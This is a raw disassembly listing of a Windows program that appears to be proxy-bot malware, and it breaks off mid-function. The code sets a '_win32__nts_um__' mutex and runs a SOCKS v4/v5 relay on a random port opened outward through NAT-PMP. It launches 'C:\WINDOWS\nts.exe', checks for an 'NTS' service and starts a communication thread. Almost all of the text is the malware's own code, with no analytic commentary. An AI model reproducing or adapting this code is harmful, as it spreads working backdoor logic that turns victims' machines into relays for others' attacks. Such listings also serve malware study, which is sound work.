; ---------------------------------------------------------------------------


loc_445088:				; CODE XREF: sub_445044+3Ej
		xor	eax, eax
		inc	eax


loc_44508B:				; CODE XREF: sub_445044+1Dj
					; sub_445044+27j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_445044	endp


; =============== S U B	R O U T	I N E =======================================



sub_44508F	proc near		; CODE XREF: sub_446A4A+1p
					; DMN1:loc_446BDAp ...
		push	ebx
		cmp	dword_411028, 0
		jz	short loc_44509D
		xor	eax, eax
		jmp	short loc_4450E1
; ---------------------------------------------------------------------------


loc_44509D:				; CODE XREF: sub_44508F+8j
		xor	ebx, ebx
		push	offset a_win32__nts_um ; "_win32__nts_um__"
		push	0
		push	0
		call	dword_411D08	; CreateMutexA
		mov	dword_411028, eax
		cmp	dword_411028, 0
		jz	short loc_4450DF
		call	dword_411CE8	; RtlGetLastWin32Error
		cmp	eax, 0B7h
		jnz	short loc_4450DF
		xor	ebx, ebx
		inc	ebx
		push	dword_411028
		call	dword_411CF8	; CloseHandle
		and	dword_411028, 0


loc_4450DF:				; CODE XREF: sub_44508F+2Bj
					; sub_44508F+38j
		mov	eax, ebx


loc_4450E1:				; CODE XREF: sub_44508F+Cj
		pop	ebx
		retn
sub_44508F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4450E3	proc near		; CODE XREF: sub_446A4A+3Dp
					; DMN1:00446BBEp ...
		cmp	dword_411028, 0
		jz	short locret_4450FF
		push	dword_411028
		call	dword_411CF8	; CloseHandle
		and	dword_411028, 0

locret_4450FF:				; CODE XREF: sub_4450E3+7j
		retn
sub_4450E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_445100	proc near		; CODE XREF: sub_44517C+2Ep

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= word ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		lea	ebx, [ebp+var_20]
		mov	byte ptr [ebx],	0
		inc	ebx
		movzx	eax, [ebp+arg_4]
		mov	[ebx], al
		inc	ebx
		mov	ax, [ebp+arg_C]
		mov	[ebx], ax
		add	ebx, 2
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		push	8
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_0]
		call	sub_442708
		add	esp, 0Ch
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_445100	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44513A	proc near		; CODE XREF: sub_44517C+47p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= word ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		lea	ebx, [ebp+var_20]
		mov	byte ptr [ebx],	5
		inc	ebx
		movzx	eax, [ebp+arg_4]
		mov	[ebx], al
		inc	ebx
		mov	byte ptr [ebx],	0
		inc	ebx
		mov	byte ptr [ebx],	1
		inc	ebx
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		add	ebx, 4
		mov	ax, [ebp+arg_C]
		mov	[ebx], ax
		push	0Ah
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_0]
		call	sub_442708
		add	esp, 0Ch
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44513A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44517C	proc near		; CODE XREF: DMN1:00445446p
					; DMN1:00445602p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= dword	ptr  14h
arg_10		= word ptr  18h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	bl, [ebp+arg_8]
		cmp	bl, 9
		jbe	short loc_44518C
		xor	bl, bl
		inc	bl


loc_44518C:				; CODE XREF: sub_44517C+Aj
		cmp	[ebp+arg_0], 4
		jnz	short loc_4451B4
		movzx	eax, bl
		mov	bl, byte_411034[eax]
		movzx	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		movzx	eax, bl
		push	eax
		push	[ebp+arg_4]
		call	sub_445100
		add	esp, 10h
		jmp	short loc_4451CB
; ---------------------------------------------------------------------------


loc_4451B4:				; CODE XREF: sub_44517C+14j
		movzx	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		movzx	eax, bl
		push	eax
		push	[ebp+arg_4]
		call	sub_44513A
		add	esp, 10h


loc_4451CB:				; CODE XREF: sub_44517C+36j
		pop	ebx
		pop	ebp
		retn
sub_44517C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4451CE	proc near		; CODE XREF: DMN1:004453D0p

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		mov	ebx, [ebp+arg_0]


loc_4451D6:				; CODE XREF: sub_4451CE+23j
		push	1
		lea	eax, [ebp+var_1]
		push	eax
		push	ebx
		call	sub_44265D
		add	esp, 0Ch
		test	eax, eax
		jg	short loc_4451ED
		xor	eax, eax
		jmp	short loc_4451F6
; ---------------------------------------------------------------------------


loc_4451ED:				; CODE XREF: sub_4451CE+19j
		cmp	[ebp+var_1], 0
		jnz	short loc_4451D6
		xor	eax, eax
		inc	eax


loc_4451F6:				; CODE XREF: sub_4451CE+1Dj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4451CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4451FB	proc near		; CODE XREF: DMN1:00445407p

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		xor	edi, edi
		mov	byte ptr [ebx],	0


loc_44520D:				; CODE XREF: sub_4451FB+47j
		push	1
		lea	eax, [ebp+var_1]
		push	eax
		push	[ebp+arg_0]
		call	sub_44265D
		add	esp, 0Ch
		test	eax, eax
		jg	short loc_445226
		xor	eax, eax
		jmp	short loc_445247
; ---------------------------------------------------------------------------


loc_445226:				; CODE XREF: sub_4451FB+25j
		mov	eax, edi
		inc	edi
		mov	dl, [ebp+var_1]
		mov	[ebx+eax], dl
		mov	byte ptr [ebx+edi], 0
		lea	eax, [esi-1]
		cmp	edi, eax
		jl	short loc_44523E
		xor	eax, eax
		jmp	short loc_445247
; ---------------------------------------------------------------------------


loc_44523E:				; CODE XREF: sub_4451FB+3Dj
		cmp	[ebp+var_1], 0
		jnz	short loc_44520D
		xor	eax, eax
		inc	eax


loc_445247:				; CODE XREF: sub_4451FB+29j
					; sub_4451FB+41j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4451FB	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 430h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+8]
		mov	[ebp-41Ch], eax
		mov	edi, [eax+8]
		mov	eax, [ebp-41Ch]
		mov	edx, [eax]
		mov	[ebp-410h], edx
		mov	dx, [eax+4]
		mov	[ebp-40Ah], dx
		push	eax
		call	sub_441FF7
		pop	ecx
		and	dword ptr [ebp-4], 0
		mov	eax, [ebp-410h]
		mov	[ebp-420h], eax
		push	eax
		call	sub_447CA1	; inet_ntoa
		mov	[ebp-418h], eax
		movzx	eax, word ptr [ebp-40Ah]
		push	eax
		push	dword ptr [ebp-418h]
		push	offset aConnectionFrom ; "connection from [%s]\n"
		call	sub_4481E1
		add	esp, 0Ch
		mov	byte ptr [ebp-411h], 0
		mov	byte ptr [ebp-421h], 0
		push	1
		lea	eax, [ebp-411h]
		push	eax
		push	edi
		call	sub_44265D
		add	esp, 0Ch
		test	eax, eax
		jle	loc_4458BB
		push	offset dword_41285C
		call	dword_411CCC	; RtlEnterCriticalSection
		push	0
		push	dword ptr [ebp-410h]
		push	dword_412934
		call	sub_442F64
		add	esp, 0Ch
		mov	[ebp-428h], eax
		push	offset dword_41285C
		call	dword_411CD0	; RtlLeaveCriticalSection
		cmp	dword ptr [ebp-428h], 0
		jnz	short loc_445337
		push	dword ptr [ebp-418h]
		push	offset aConnectionReje ; "connection rejected (from [%s])\n"
		call	nullsub_3
		pop	ecx
		pop	ecx
		jmp	loc_4458BB
; ---------------------------------------------------------------------------


loc_445337:				; CODE XREF: DMN1:0044531Ej
		mov	word ptr [ebp-40Ah], 0
		and	dword ptr [ebp-410h], 0
		mov	al, [ebp-411h]
		cmp	al, 4
		jz	short loc_445359
		cmp	al, 5
		jnz	loc_4458BB


loc_445359:				; CODE XREF: DMN1:0044534Fj
		push	dword ptr [ebp-418h]
		movsx	eax, byte ptr [ebp-411h]
		push	eax
		push	offset aSocksVIS ; "socks v%i  [%s]\n"
		call	nullsub_3
		add	esp, 0Ch
		cmp	byte ptr [ebp-411h], 4
		jnz	loc_445453
		push	1
		lea	eax, [ebp-421h]
		push	eax
		push	edi
		call	sub_44265D
		add	esp, 0Ch
		test	eax, eax
		jle	loc_4458BB
		push	2
		lea	eax, [ebp-40Ah]
		push	eax
		push	edi
		call	sub_44265D
		add	esp, 0Ch
		test	eax, eax
		jle	loc_4458BB
		push	4
		lea	eax, [ebp-410h]
		push	eax
		push	edi
		call	sub_44265D
		add	esp, 0Ch
		test	eax, eax
		jle	loc_4458BB
		push	edi
		call	sub_4451CE
		pop	ecx
		test	eax, eax
		jz	loc_4458BB
		mov	eax, [ebp-410h]
		test	eax, 0FFFFFFh
		jnz	loc_44563F
		test	eax, 0FF000000h
		jz	loc_44563F
		push	400h
		lea	eax, [ebp-408h]
		push	eax
		push	edi
		call	sub_4451FB
		add	esp, 0Ch
		test	eax, eax
		jz	loc_4458BB
		lea	eax, [ebp-408h]
		push	eax
		call	sub_44273F
		pop	ecx
		mov	[ebp-410h], eax
		test	eax, eax
		jz	short loc_44543D
		cmp	eax, 0FFFFFFFFh
		jz	short loc_44543D
		test	eax, eax
		jnz	loc_44563F


loc_44543D:				; CODE XREF: DMN1:0044542Cj
					; DMN1:00445433j
		push	0
		push	0
		push	4
		push	edi
		push	4
		call	sub_44517C
		add	esp, 14h
		jmp	loc_4458BB
; ---------------------------------------------------------------------------


loc_445453:				; CODE XREF: DMN1:0044537Bj
		cmp	byte ptr [ebp-411h], 5
		jnz	loc_4458BB
		mov	byte ptr [ebp-429h], 0
		push	1
		lea	eax, [ebp-429h]
		push	eax
		push	edi
		call	sub_44265D
		add	esp, 0Ch
		test	eax, eax
		jg	short loc_4454A3
		jmp	loc_4458BB
; ---------------------------------------------------------------------------


loc_445482:				; CODE XREF: DMN1:004454AAj
		push	1
		lea	eax, [ebp-42Ah]
		push	eax
		push	edi
		call	sub_44265D
		add	esp, 0Ch
		test	eax, eax
		jle	loc_4458BB
		sub	byte ptr [ebp-429h], 1


loc_4454A3:				; CODE XREF: DMN1:0044547Bj
		cmp	byte ptr [ebp-429h], 0
		jnz	short loc_445482
		mov	dword ptr [ebp-430h], 5
		push	2
		lea	eax, [ebp-430h]
		push	eax
		push	edi
		call	sub_442708
		add	esp, 0Ch
		test	eax, eax
		jle	loc_4458BB
		push	1
		lea	eax, [ebp-42Ah]
		push	eax
		push	edi
		call	sub_44265D
		add	esp, 0Ch
		test	eax, eax
		jle	loc_4458BB
		cmp	byte ptr [ebp-42Ah], 5
		jnz	loc_4458BB
		push	1
		lea	eax, [ebp-421h]
		push	eax
		push	edi
		call	sub_44265D
		add	esp, 0Ch
		test	eax, eax
		jle	loc_4458BB
		push	1
		lea	eax, [ebp-42Ah]
		push	eax
		push	edi
		call	sub_44265D
		add	esp, 0Ch
		test	eax, eax
		jle	loc_4458BB
		mov	byte ptr [ebp-42Bh], 0
		push	1
		lea	eax, [ebp-42Bh]
		push	eax
		push	edi
		call	sub_44265D
		add	esp, 0Ch
		test	eax, eax
		jle	loc_4458BB
		cmp	byte ptr [ebp-42Bh], 1
		jnz	short loc_445574
		push	4
		lea	eax, [ebp-410h]
		push	eax
		push	edi
		call	sub_44265D
		add	esp, 0Ch
		test	eax, eax
		jg	loc_445625
		jmp	loc_4458BB
; ---------------------------------------------------------------------------


loc_445574:				; CODE XREF: DMN1:00445553j
		cmp	byte ptr [ebp-42Bh], 3
		jnz	loc_44560F
		push	1
		lea	eax, [ebp-429h]
		push	eax
		push	edi
		call	sub_44265D
		add	esp, 0Ch
		test	eax, eax
		jle	loc_4458BB
		cmp	byte ptr [ebp-429h], 0
		jz	loc_4458BB
		movsx	eax, byte ptr [ebp-429h]
		push	eax
		lea	eax, [ebp-408h]
		push	eax
		push	edi
		call	sub_44265D
		add	esp, 0Ch
		test	eax, eax
		jle	loc_4458BB
		movsx	eax, byte ptr [ebp-429h]
		mov	byte ptr [ebp+eax-408h], 0
		lea	eax, [ebp-408h]
		push	eax
		call	sub_44273F
		pop	ecx
		mov	[ebp-410h], eax
		test	eax, eax
		jz	short loc_4455F9
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4455F9
		test	eax, eax
		jnz	short loc_445625


loc_4455F9:				; CODE XREF: DMN1:004455ECj
					; DMN1:004455F3j
		push	0
		push	0
		push	4
		push	edi
		push	5
		call	sub_44517C
		add	esp, 14h
		jmp	loc_4458BB
; ---------------------------------------------------------------------------


loc_44560F:				; CODE XREF: DMN1:0044557Bj
		push	0
		push	0
		push	8
		push	edi
		push	5
		call	sub_44517C
		add	esp, 14h
		jmp	loc_4458BB
; ---------------------------------------------------------------------------


loc_445625:				; CODE XREF: DMN1:00445569j
					; DMN1:004455F7j
		push	2
		lea	eax, [ebp-40Ah]
		push	eax
		push	edi
		call	sub_44265D
		add	esp, 0Ch
		test	eax, eax
		jle	loc_4458BB


loc_44563F:				; CODE XREF: DMN1:004453E9j
					; DMN1:004453F4j ...
		movzx	eax, word ptr [ebp-40Ah]
		push	eax
		call	sub_447C59	; htons
		mov	[ebp-40Ah], ax
		test	ax, ax
		jnz	short loc_445674
		push	0
		push	0
		push	2
		push	edi
		movsx	eax, byte ptr [ebp-411h]
		push	eax
		call	sub_44517C
		add	esp, 14h
		jmp	loc_4458BB
; ---------------------------------------------------------------------------


loc_445674:				; CODE XREF: DMN1:00445656j
		cmp	byte ptr [ebp-421h], 1
		jz	short loc_4456A3
		movzx	eax, word ptr [ebp-40Ah]
		push	eax
		push	dword ptr [ebp-410h]
		push	7
		push	edi
		movsx	eax, byte ptr [ebp-411h]
		push	eax
		call	sub_44517C
		add	esp, 14h
		jmp	loc_4458BB
; ---------------------------------------------------------------------------


loc_4456A3:				; CODE XREF: DMN1:0044567Bj
		call	sub_4422DA
		mov	[ebp-4], eax
		test	eax, eax
		jnz	short loc_4456CB
		push	0
		push	0
		push	1
		push	edi
		movsx	eax, byte ptr [ebp-411h]
		push	eax
		call	sub_44517C
		add	esp, 14h
		jmp	loc_4458BB
; ---------------------------------------------------------------------------


loc_4456CB:				; CODE XREF: DMN1:004456ADj
		mov	eax, [ebp-410h]
		mov	[ebp-420h], eax
		push	eax
		call	sub_447CA1	; inet_ntoa
		mov	[ebp-418h], eax
		movzx	eax, word ptr [ebp-40Ah]
		push	eax
		push	dword ptr [ebp-418h]
		push	offset aConnectingToSI ; "connecting to	%s:%i\n"
		call	nullsub_3
		add	esp, 0Ch
		movzx	eax, word ptr [ebp-40Ah]
		push	eax
		push	dword ptr [ebp-410h]
		push	dword ptr [ebp-4]
		call	sub_4424E8
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_445762
		call	sub_447CB3	; WSAGetLastError
		push	eax
		movzx	eax, word ptr [ebp-40Ah]
		push	eax
		push	dword ptr [ebp-418h]
		push	offset aConnectionToSI ; "connection to	%s:%i failed! %-( (%i)\n"
		call	nullsub_3
		add	esp, 10h
		movzx	eax, word ptr [ebp-40Ah]
		push	eax
		push	dword ptr [ebp-410h]
		push	4
		push	edi
		movsx	eax, byte ptr [ebp-411h]
		push	eax
		call	sub_44517C
		add	esp, 14h
		jmp	loc_4458BB
; ---------------------------------------------------------------------------


loc_445762:				; CODE XREF: DMN1:00445719j
		movzx	eax, word ptr [ebp-40Ah]
		push	eax
		push	dword ptr [ebp-418h]
		push	offset aConnectedToSI ;	"connected to %s:%i\n"
		call	nullsub_3
		add	esp, 0Ch
		movzx	eax, word ptr [ebp-40Ah]
		push	eax
		push	dword ptr [ebp-410h]
		push	0
		push	edi
		movsx	eax, byte ptr [ebp-411h]
		push	eax
		call	sub_44517C
		add	esp, 14h
		test	eax, eax
		jz	loc_4458BB
		push	offset aTransferringDa ; "transferring data...\n"
		call	nullsub_3
		pop	ecx
		xor	esi, esi


loc_4457B3:				; CODE XREF: DMN1:0044589Aj
					; DMN1:004458ABj
		inc	esi
		push	edi
		call	sub_442450
		pop	ecx
		test	eax, eax
		jl	loc_4458B0
		push	edi
		call	sub_4424C3
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jl	loc_4458B0
		cmp	esi, 1Eh
		jle	short loc_4457E0
		test	ebx, ebx
		jnz	short loc_4457E0
		xor	ebx, ebx
		inc	ebx


loc_4457E0:				; CODE XREF: DMN1:004457D7j
					; DMN1:004457DBj
		test	ebx, ebx
		jle	short loc_44582C
		cmp	ebx, 400h
		jle	short loc_4457F1
		mov	ebx, 400h


loc_4457F1:				; CODE XREF: DMN1:004457EAj
		push	ebx
		lea	eax, [ebp-408h]
		push	eax
		push	edi
		call	sub_44265D
		add	esp, 0Ch
		mov	[ebp-8], eax
		test	eax, eax
		jle	loc_4458B0
		push	dword ptr [ebp-8]
		lea	eax, [ebp-408h]
		push	eax
		push	dword ptr [ebp-4]
		call	sub_442708
		add	esp, 0Ch
		test	eax, eax
		jle	loc_4458BB
		xor	esi, esi


loc_44582C:				; CODE XREF: DMN1:004457E2j
		push	dword ptr [ebp-4]
		call	sub_442450
		pop	ecx
		test	eax, eax
		jl	short loc_4458B0
		push	dword ptr [ebp-4]
		call	sub_4424C3
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_4458B0
		cmp	esi, 1Eh
		jle	short loc_445854
		test	ebx, ebx
		jnz	short loc_445854
		xor	ebx, ebx
		inc	ebx


loc_445854:				; CODE XREF: DMN1:0044584Bj
					; DMN1:0044584Fj
		test	ebx, ebx
		jle	short loc_445898
		cmp	ebx, 400h
		jle	short loc_445865
		mov	ebx, 400h


loc_445865:				; CODE XREF: DMN1:0044585Ej
		push	ebx
		lea	eax, [ebp-408h]
		push	eax
		push	dword ptr [ebp-4]
		call	sub_44265D
		add	esp, 0Ch
		mov	[ebp-8], eax
		test	eax, eax
		jle	short loc_4458B0
		push	dword ptr [ebp-8]
		lea	eax, [ebp-408h]
		push	eax
		push	edi
		call	sub_442708
		add	esp, 0Ch
		test	eax, eax
		jle	short loc_4458BB
		xor	esi, esi


loc_445898:				; CODE XREF: DMN1:00445856j
		test	esi, esi
		jz	loc_4457B3
		push	12Ch
		call	dword_411D00	; Sleep
		jmp	loc_4457B3
; ---------------------------------------------------------------------------


loc_4458B0:				; CODE XREF: DMN1:004457BDj
					; DMN1:004457CEj ...
		push	offset aDataExchangeCo ; "data exchange	complete\n"
		call	nullsub_3
		pop	ecx


loc_4458BB:				; CODE XREF: DMN1:004452DFj
					; DMN1:00445332j ...
		push	offset aConnectionClos ; "connection closed.\n"
		call	nullsub_3
		pop	ecx
		push	edi
		call	sub_442443
		pop	ecx
		cmp	dword ptr [ebp-4], 0
		jz	short loc_4458DC
		push	dword ptr [ebp-4]
		call	sub_442443
		pop	ecx


loc_4458DC:				; CODE XREF: DMN1:004458D1j
		call	sub_448921
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		and	dword ptr [ebp-4], 0
		and	dword_41100C, 0
		push	offset aListener___ ; "listener...\n"
		call	nullsub_3
		pop	ecx
		lea	eax, [ebp-0Ah]
		push	eax
		call	sub_443427
		pop	ecx
		mov	bx, ax
		test	bx, bx
		jz	short loc_44593C
		cmp	bx, 0FFFFh
		jz	short loc_44593C
		movzx	eax, bx
		cmp	dword_411010, eax
		jz	short loc_44593C
		movzx	eax, bx
		mov	dword_411010, eax
		movzx	eax, word ptr [ebp-0Ah]
		mov	dword_41100C, eax


loc_44593C:				; CODE XREF: DMN1:00445917j
					; DMN1:0044591Ej ...
		call	sub_4422DA
		mov	dword_411030, eax


loc_445946:				; CODE XREF: DMN1:004459BFj
		cmp	dword_41100C, 0
		jnz	short loc_44597F


loc_44594F:				; CODE XREF: DMN1:00445976j
					; DMN1:0044597Dj
		lea	eax, [ebp-4]
		push	eax
		call	sub_441F82
		pop	ecx
		mov	ecx, 0C350h
		cdq
		idiv	ecx
		lea	eax, [edx+2710h]
		mov	dword_41100C, eax
		mov	eax, dword_41100C
		cmp	eax, 24A2h
		jz	short loc_44594F
		cmp	eax, 15B7h
		jz	short loc_44594F


loc_44597F:				; CODE XREF: DMN1:0044594Dj
		movzx	eax, word ptr dword_41100C
		push	eax
		push	0
		push	dword_411030
		call	sub_442538
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4459C1
		and	dword_41100C, 0
		and	dword_411010, 0
		push	dword_411030
		call	sub_442443
		pop	ecx
		call	sub_4422DA
		mov	dword_411030, eax
		jmp	short loc_445946
; ---------------------------------------------------------------------------


loc_4459C1:				; CODE XREF: DMN1:00445999j
		push	dword_41100C
		push	offset aSocksPortI ; "SOCKS port: %i\n"
		call	sub_4481E1
		pop	ecx
		pop	ecx
		mov	eax, dword_41100C
		mov	dword_411010, eax
		call	sub_444094
		mov	[ebp-8], eax
		movzx	eax, word ptr dword_411010
		push	eax
		movzx	eax, word ptr dword_41100C
		push	eax
		push	dword ptr [ebp-8]
		call	sub_4442A3
		add	esp, 0Ch
		movzx	eax, ax
		mov	dword_411010, eax
		cmp	dword_411010, 0
		jnz	short loc_445A1D
		mov	eax, dword_41100C
		mov	dword_411010, eax
		jmp	short loc_445A2F
; ---------------------------------------------------------------------------


loc_445A1D:				; CODE XREF: DMN1:00445A0Fj
		push	dword_411010
		push	offset aNatpmpForwarde ; "NATPMP: forwarded to:	%i\n"
		call	sub_4481E1
		pop	ecx
		pop	ecx


loc_445A2F:				; CODE XREF: DMN1:00445A1Bj
		movzx	eax, word ptr dword_41100C
		push	eax
		push	eax
		call	sub_443A83
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_445A48
		mov	eax, dword_41100C


loc_445A48:				; CODE XREF: DMN1:00445A41j
		push	1
		push	offset dword_411024
		call	dword_411D04	; InterlockedExchange
		push	1
		push	offset dword_41102C
		call	dword_411D04	; InterlockedExchange
		push	offset aStartingCommTh ; "starting COMM	thread...\n"
		call	nullsub_3
		pop	ecx
		push	0
		push	0
		push	offset sub_40400E
		call	sub_448891
		add	esp, 0Ch
		push	eax
		call	dword_411CF8	; CloseHandle
		push	0C8h
		call	dword_411D00	; Sleep
		push	0
		push	0
		push	offset sub_403FEA
		call	sub_448891
		add	esp, 0Ch
		push	eax
		call	dword_411CF8	; CloseHandle
		push	0C8h
		call	dword_411D00	; Sleep


loc_445AB3:				; CODE XREF: DMN1:00445ADDj
					; DMN1:00445B10j
		push	dword_411030
		call	sub_442588
		pop	ecx
		test	eax, eax
		jz	short loc_445B12
		lea	eax, [ebp-12h]
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		push	dword_411030
		call	sub_4425ED
		add	esp, 0Ch
		mov	edi, eax
		test	edi, edi
		jz	short loc_445AB3
		push	0Ch
		call	sub_441FC9
		pop	ecx
		mov	esi, eax
		mov	eax, [ebp-10h]
		mov	[esi], eax
		mov	ax, [ebp-12h]
		mov	[esi+4], ax
		mov	[esi+8], edi
		push	esi
		push	0
		push	offset sub_4042CD
		call	sub_448891
		add	esp, 0Ch
		push	eax
		call	dword_411CF8	; CloseHandle
		jmp	short loc_445AB3
; ---------------------------------------------------------------------------


loc_445B12:				; CODE XREF: DMN1:00445AC1j
		push	0
		push	offset dword_41102C
		call	dword_411D04	; InterlockedExchange
		push	dword_411030
		call	sub_442443
		pop	ecx
		and	dword_411030, 0
		call	sub_448921
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		mov	ebx, [ebp+10h]
		push	44h
		push	0
		lea	eax, [ebp-44h]
		push	eax
		call	sub_448551
		add	esp, 0Ch
		mov	dword ptr [ebp-44h], 44h
		test	ebx, ebx
		jz	short loc_445B7B
		push	offset asc_40EDC7 ; "\""
		lea	eax, [ebp-844h]
		push	eax
		call	sub_4485F1
		pop	ecx
		pop	ecx
		jmp	short loc_445B82
; ---------------------------------------------------------------------------


loc_445B7B:				; CODE XREF: DMN1:00445B64j
		mov	byte ptr [ebp-844h], 0


loc_445B82:				; CODE XREF: DMN1:00445B79j
		cmp	dword ptr [ebp+8], 0
		jz	short loc_445B9B
		push	dword ptr [ebp+8]
		lea	eax, [ebp-844h]
		push	eax
		call	sub_448611
		pop	ecx
		pop	ecx
		jmp	short loc_445BAE
; ---------------------------------------------------------------------------


loc_445B9B:				; CODE XREF: DMN1:00445B86j
		push	offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
		lea	eax, [ebp-844h]
		push	eax
		call	sub_448611
		pop	ecx
		pop	ecx


loc_445BAE:				; CODE XREF: DMN1:00445B99j
		test	ebx, ebx
		jz	short loc_445BC5
		push	offset asc_40EDC7 ; "\""
		lea	eax, [ebp-844h]
		push	eax
		call	sub_448611
		pop	ecx
		pop	ecx


loc_445BC5:				; CODE XREF: DMN1:00445BB0j
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_445BEF
		push	offset asc_40EDB2 ; " "
		lea	eax, [ebp-844h]
		push	eax
		call	sub_448611
		pop	ecx
		pop	ecx
		push	dword ptr [ebp+0Ch]
		lea	eax, [ebp-844h]
		push	eax
		call	sub_448611
		pop	ecx
		pop	ecx


loc_445BEF:				; CODE XREF: DMN1:00445BC9j
		lea	eax, [ebp-854h]
		push	eax
		lea	eax, [ebp-44h]
		push	eax
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		lea	eax, [ebp-844h]
		push	eax
		push	0
		call	dword_411D10	; CreateProcessA
		test	eax, eax
		jz	short loc_445C34
		push	dword ptr [ebp-850h]
		call	dword_411CF8	; CloseHandle
		push	dword ptr [ebp-854h]
		call	dword_411CF8	; CloseHandle
		xor	eax, eax
		inc	eax


loc_445C34:				; CODE XREF: DMN1:00445C17j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_445C39	proc near		; CODE XREF: DMN1:00446B85p
					; sub_447672:loc_4479AEp ...
		push	ebx
		push	esi
		push	0F003Fh
		push	0
		push	0
		call	dword_411E44	; OpenSCManagerA
		mov	ebx, eax
		test	eax, eax
		jz	short loc_445C80
		push	4
		push	offset aNts	; "NTS"
		push	ebx
		call	dword_411E48	; OpenServiceA
		mov	esi, eax
		test	esi, esi
		jnz	short loc_445C6F
		push	ebx
		call	dword_411E4C	; CloseServiceHandle
		xor	eax, eax
		jmp	short loc_445C80
; ---------------------------------------------------------------------------


loc_445C6F:				; CODE XREF: sub_445C39+29j
		push	esi
		call	dword_411E4C	; CloseServiceHandle
		push	ebx
		call	dword_411E4C	; CloseServiceHandle
		xor	eax, eax
		inc	eax


loc_445C80:				; CODE XREF: sub_445C39+15j
					; sub_445C39+34j
		pop	esi
		pop	ebx
		retn
sub_445C39	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_445C83	proc near		; CODE XREF: sub_447672+3C4p

var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		push	0F003Fh
		push	0
		push	0
		call	dword_411E44	; OpenSCManagerA
		mov	ebx, eax
		test	eax, eax
		jz	short loc_445CED
		push	94h
		push	offset aNts	; "NTS"
		push	ebx
		call	dword_411E48	; OpenServiceA
		mov	esi, eax
		test	esi, esi
		jnz	short loc_445CC3
		push	ebx
		call	dword_411E4C	; CloseServiceHandle
		xor	eax, eax
		jmp	short loc_445CED
; ---------------------------------------------------------------------------


loc_445CC3:				; CODE XREF: sub_445C83+33j
		xor	edi, edi
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		call	dword_411E50	; QueryServiceStatus
		test	eax, eax
		jz	short loc_445CDD
		cmp	[ebp+var_18], 4
		jnz	short loc_445CDD
		xor	edi, edi
		inc	edi


loc_445CDD:				; CODE XREF: sub_445C83+4Fj
					; sub_445C83+55j
		push	esi
		call	dword_411E4C	; CloseServiceHandle
		push	ebx
		call	dword_411E4C	; CloseServiceHandle
		mov	eax, edi


loc_445CED:				; CODE XREF: sub_445C83+1Cj
					; sub_445C83+3Ej
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_445C83	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_445CF4	proc near		; CODE XREF: sub_445D89+32p
					; sub_445DD7+39p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	0
		push	0
		push	0
